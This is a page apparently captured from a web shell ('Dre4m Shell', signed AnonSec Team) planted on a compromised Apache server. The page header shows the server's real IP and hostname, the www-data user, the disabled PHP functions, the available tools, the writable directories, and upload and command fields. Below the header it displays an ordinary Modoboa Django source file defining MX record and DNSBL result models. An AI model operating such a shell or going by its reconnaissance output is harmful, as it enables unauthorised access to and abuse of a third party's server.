Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.119.255.170
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib64/python3.5/site-packages/modoboa/admin/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib64/python3.5/site-packages/modoboa/admin/models/mxrecord.py
"""MX records storage."""

import datetime

from django.db import models
from django.utils import timezone
from django.utils.encoding import python_2_unicode_compatible

from modoboa.parameters import tools as param_tools


class MXRecordQuerySet(models.QuerySet):
    """Custom manager for MXRecord."""

    def has_valids(self):
        """Return managed results."""
        if param_tools.get_global_parameter("valid_mxs").strip():
            return self.filter(managed=True).exists()
        return self.exists()


class MXRecordManager(models.Manager):
    """Custom manager for MXRecord."""

    def get_or_create_for_domain(self, domain, ttl=7200):
        """Get or create MX record(s) for given domain.

        DNS queries are not performed while `ttl` (in seconds) is still valid.
        """
        from .. import lib

        now = timezone.now()
        records = self.get_queryset().filter(
            domain=domain, updated__gt=now)
        if records.exists():
            for record in records:
                yield record
            return

        self.get_queryset().filter(domain=domain).delete()

        delta = datetime.timedelta(seconds=ttl)
        domain_mxs = lib.get_domain_mx_list(domain.name)
        if len(domain_mxs) == 0:
            return
        for mx_addr, mx_ip_addr in domain_mxs:
            record = self.get_queryset().create(
                domain=domain,
                name="{}".format(mx_addr.strip(".")),
                address="{}".format(mx_ip_addr),
                updated=now + delta)
            yield record


@python_2_unicode_compatible
class MXRecord(models.Model):
    """A model used to store MX records for Domain."""

    domain = models.ForeignKey("admin.Domain", on_delete=models.CASCADE)
    name = models.CharField(max_length=254)
    address = models.GenericIPAddressField()
    managed = models.BooleanField(default=False)
    updated = models.DateTimeField()

    objects = MXRecordManager.from_queryset(MXRecordQuerySet)()

    def is_managed(self):
        if not param_tools.get_global_parameter("enable_mx_checks"):
            return False
        return bool(param_tools.get_global_parameter("valid_mxs").strip())

    def __str__(self):
        return "{0.name} ({0.address}) for {0.domain} ".format(self)


class DNSBLQuerySet(models.QuerySet):
    """Custom manager for DNSBLResultManager."""

    def blacklisted(self):
        """Return blacklisted results."""
        return self.exclude(status="")


class DNSBLResult(models.Model):
    """Store a DNSBL query result."""

    domain = models.ForeignKey("admin.Domain", on_delete=models.CASCADE)
    provider = models.CharField(max_length=254, db_index=True)
    mx = models.ForeignKey(MXRecord, on_delete=models.CASCADE)
    status = models.CharField(max_length=45, blank=True, db_index=True)

    objects = models.Manager.from_queryset(DNSBLQuerySet)()

    class Meta:
        app_label = "admin"
        unique_together = [("domain", "provider", "mx")]

Anon7 - 2022
AnonSec Team